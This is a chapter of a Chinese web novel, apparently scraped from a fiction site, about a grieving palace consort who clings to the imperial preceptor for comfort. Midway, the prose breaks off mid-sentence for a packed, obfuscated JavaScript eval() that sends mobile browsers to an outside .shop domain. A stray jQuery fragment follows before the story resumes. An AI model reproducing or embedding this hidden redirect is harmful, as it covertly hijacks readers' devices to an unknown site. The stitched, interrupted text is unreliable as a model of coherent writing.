文趣网 > 都市小说 > 收仇敌之子做我裙下臣 > 23. 依靠
    他对她的称呼改了。

    陈晚荣想起自己如今的美人身份,有些自嘲地勾了勾唇,抬起手,擦了下眼角的泪,扶着窗沿慢慢站起来。

    蹲了太久,她的腿酸麻得厉害,起身时动作也有些踉跄。

    但她还是努力站稳,抬起头,看向无遗的眼睛。

    “国师来得……正好,我想问问……景阳宫这窗……这般开着,没问题吧。”

    她努力让自己的声音维持平稳,可断断续续的词句,和语调中压不住的颤意,还是暴露了她此刻的心绪。

    说完她才后知后觉,意识到自己问得莫名,可也想不出什么话来找补,索性低下头,回避了他的目光。

    无遗沉默几息。

    “无妨,此地阴寒,娘娘多开窗,也有益这宫中之气流通,毋需担忧。”

    然后他环顾室内,确认并无异常后,才朝她的方向走近了些,最后停在离她三步远的位置上。

    松柏香隐约漫了过来,很淡,似是被他刻意隔在了三步之外。

    “关于景阳宫……”

    他似乎说了些什么,大概是景阳宫的注意事项,和风水禁忌那些她不太熟悉的内容。

    陈晚荣垂着头。她状态不太好,因而无遗说的那些也没怎么过到脑海里去,只有意识还在捕捉一些不需费力去想的东西。

    ……

    “景阳宫地处东六宫最北,夜间寒气较重,娘娘起居需多加留意。臣会在北面廊道额外布几道符,但符咒之力终究有限,御寒之事,还需娘娘自己上心。”

    “嗯。”

    “法事不可间断,臣每隔数日便会前来。”

    “好。”

    “届时日期会提前写在符纸上,与从前一样。”

    “……”

    没有应答。

    起初她也想集中注意,会偶尔抬头看上他一两眼,但说着说着,她的心神就飘移到了方外,或是看向他身后的角落,又或是看向窗台上那盆栀子花,总之,不在他说话的内容上。

    注意到她的心不在焉,无遗顿了顿,又见她一副失魂落魄的模样,心知方才叮嘱的那些,她恐怕也未听进去。

    他没再多说,略略思索一番,温声道。

    “……是臣疏忽,方才所言,不若由臣一一书于纸上,供娘娘过目。”

    陈晚荣这才回过神。父亲从小就教过她的,与人对话要用心去听,可方才她只顾着沉浸在自己情绪里,一时竟把这点给忘了。

    见无遗又开始打量起室内陈设,陈晚荣猜测是这屋中光线太暗,他要寻一盏灯烛照明,好将刚刚那些她忽略掉的内容记录下来。

    她心中有些愧疚,主动开口道。

    “国师坐,我这就去寻烛火来。”

    她转过身,从一旁的梨花木柜中翻出一根蜡烛,用火柴擦亮。

    朝他坐下的案几处走去时,陈晚荣注意到无遗在看那盆窗台上的栀子花。

    她没有点破,正要将烛盏放在案几上,一阵晚风忽从窗外吹进来,没吹熄烛芯上的火焰,却将蜡油吹偏了几滴,落在她捧着烛盏的手上。

    一个不留神,那烛盏便脱手而落,摔在了地上。

    她赶忙弯腰去捡,动作间,有什么东西也从她的衣襟中滑落出来。

    ——是那张无遗曾写给她的判词。

    陈晚荣没有注意,捡起蜡烛正要起身,才发现无遗不知何时已走到了她身侧,弯下腰,将那张被她不慎遗落的判词,从地上捡了起来。

    待看清手中之物是什么时,他顿了一瞬,然后伸出手,轻轻拂去了纸面掉落在地时沾染的灰尘,再将那物重新递还给她。

    不知可是她的错觉,无遗的目光似乎在那张判词上多停了一息,面上依旧平静,没有表露出任何多余情绪。

    也罢,那不过是当年他应她所求才写下的东西,如今若非她疏忽,恐怕他早已忘了此事。

    陈晚荣强行用这个理由说服自己,即便心口闷得连呼吸都有几分困难,她还是竭力平稳了一下心神,将那些带着泣音的哽咽都吞回了嗓子眼,伸手——

    接信的时候,她的手指不慎擦过了他的虎口处。

    有些滚烫,比她的手要暖和一些。

    他的手在原处停滞一瞬,指尖像是要蜷起来,又忍住了,然后才慢慢缩回袖中。

    陈晚荣重新擦亮烛火,又将其稳稳放至案上。

    无遗也坐下来,从袖中掏出纸笔,低头认真在上面写些什么。

    殿内很安静,两个人都没再开口说话,空气中唯余笔尖经过纸面时留下的沙沙声。

    陈晚荣的目光不知何时落在了他执笔的手上——那只手修长白皙,骨节分明,握笔的力度也很轻,像是怕写重了那纸会痛似的。

    然后她移开视线,假装在看窗外。

    不知过了多久,他终于写完,捋平纸面的褶皱后,他轻轻拿过案上摆着的陶碗,小心地压在纸面的一角。

    他起身,朝她行了一礼,然后立在原处,低声嘱咐道。

    “所有注意事项已书于纸上,娘娘可自行翻看,四日后,臣会再来。”

    犹豫片刻后,他最终什么都没再说,只平静开口。

    “……臣告退。”

    闻言,陈晚荣的心颤了一下,意识到应该要说些什么送他离开。

    可言语还没出口,声音已断在了风中。

    她只听见自己呜咽了一声。

    “国……”

    喉咙里的潮汐再次涌了上来。

    他马上也要离开了。

    这个幽暗的,空寂的屋子里,很快就只会剩下她一人。

    脑子还没反应过来,身体却先行作出了反应。

    陈晚荣向前走了一步。

    她的脚没有因为理智而停留,她的心在叫嚣着要将他留下。

    她已经没有任何人了。

    如果再不抓住些什么,她想,她一定会因为过度悲伤,在来景阳宫的第一个暗夜里,就被恐惧彻底吞噬。

    于是她迅速上前几步,趁他没反应过来,自己也没反应过来时,猛地一下——

    扑进了无遗怀中。

    松柏香再次充盈了她的整个世界。

    但不是清淡的,因为她此刻离他极近,近到她的面颊,就贴在他的心口上。

    噗通,噗通。

    她听到了他心脏跳动的频率,极快,声音在她耳畔,震得鼓膜都有些微微发麻。

    她第一次知道人的心脏可以跳这么快。

    也是第一次知道——原来他也只是个凡人。

    和她一样。

    陈晚荣的泪掉了下来。

    “国师。”她哽咽道。

    “我的母亲……她死了……”

    “旃檀宫被烧了……她在里面……我没能救她出来……”

    “我的父亲死了,哥哥也不在了,母亲也……”

    “国师,我在这世上,一个亲人都没有了……”

    “我什么都没有了……”

    起初她的手还只是攥着他的道袍,后来她越说越激动,动作也演变成她伸出双手,紧紧锢住了他的腰身。

    她的眼泪浸湿了他胸前的布料,湿润的感觉贴着心口,也不知是她的眼泪,还是她此刻那双带着潮气的眼睛。

    哭的时候,她的脊背在发颤,抱住他腰的力度也在收紧,好像他怀里是世界上最安全的地方,可供受伤的她全部蜷缩进去,发出那种让人听了心脏会疼的声音——带着哭腔,每个字都像是从喉咙里硬生生挤碎了才吐出来。

    断断续续地,她也不知道自己具体在说什么,只知道自己说了很多。

    最后她说。

    “国师,你是我在这世上,唯一的……”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571429|204799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后面的话她没有说出口。

    就像在冷宫时他不用回应她让他带烧饼的话一样,他们之间的关系早已熟悉到不必多此一举。

    因为答案都心知肚明。

    无遗的身体僵硬着。

    他的手停在半空中,很久都没有落下来。

    他不知道那只手该放在哪儿,于是他只能沉默,沉默着听她哭,听她说着每一句无法被拼凑起来的话语。

    但陈晚荣知道,她说得每一句,他都听进去了。

    夜风很安静,只有偶尔掠过栀子花叶时,才会发出轻微的声音。

    叶片响了几次。

    他们始终保持着这个姿势。

    待他终于意识到自己应该说些什么时,她却像心有所感般,抬起头——

    他看见了一双含着泪的桃花眼。

    记忆里这双眼睛总在笑,笑起来的时候像天上的月牙儿,弯弯的,带着点她独有的狡黠。

    可此时她不再笑了。

    但她眨了一下眼睛。

    一滴晶莹的泪顺着眼角滑落下来。

    无遗到嘴旁的话瞬间卡了回去。

    他闭上眼睛,认命似的,将那只悬在半空的手落在她脊背上,轻轻拍了拍。

    窗外的光已经彻底暗了下来。

    蜡烛也燃尽了,室内重新归于黑暗。

    他们用这个亲密的姿势相拥了很久,久到她手臂都有些发酸,久到她已闻不到殿里任何其他气味。

    不知什么时候,他放在她脊背上的手不再拍了,掌心安静地贴在那里,再没移开。

    空气中只有他身上的松柏香。

    浓郁的,又轻柔地,像他掌心的温度一样,环绕着包裹住她。

    她记不清是什么时候,大约是他先于她恢复了一丝神智,抬头看了一眼窗外。

    浓到像墨一样的夜色。

    他的声音,也终于在她头顶再次响起。

    平静的,带着一丝疲惫——似乎连说这句话,都要用尽他所有的气力一般。

    “娘娘。”

    她没有动,脑袋仍伏在他胸口,埋在那片已经彻底湿透了的衣料里。

    但他没有放弃将话说下去。

    “您的依靠,从不是臣。”

    停顿。

    “……是您自己。”

    陈晚荣终于动了。

    放在他腰上的力道逐渐松了——她慢慢放开了手。

    她知道他说得对。

    她的崩溃需要在这场夜里,有一个出口。

    而他给了她出口。

    但同时也在告诉她。

    你不能停在这里。

    她的脸上还带着泪痕,但很明显能看出,状态已比方才要好了很多。

    无遗静静地看着她。

    “夜深了,娘娘早些歇息,明日天晴,窗户可以照开。臣……”

    他的目光掠过她面颊尚未干透的泪痕,顿了一下,再道。

    “臣告退。”

    说完这句后,他转身,白色的衣袂也随夜风鼓起。

    再看时,那人已连同他的松柏香,一起消失在了她的视线中。

    陈晚荣在原地立了很久,也想了很久。

    想他刚刚那个拥抱。

    想他最后对她说的那句话。

    月光顺着窗户照进来时,她才隐约记起,自己已有一日都未曾用饭。

    她环顾四周,目光落在进门的案几处,那两个用素布裹着的烧饼上——大约是无遗进门时随手搁在那儿的。

    掀开素布,因为被包得太好,烧饼上甚至还留着些余温。

    她慢慢坐下来,在这座空荡荡的,只剩下她一人的殿中,一口一口地,将那两个烧饼仔细啃干净。

    母亲说,天黑前要记得用饭。

    国师说,她要靠她自己。

    她都记着的。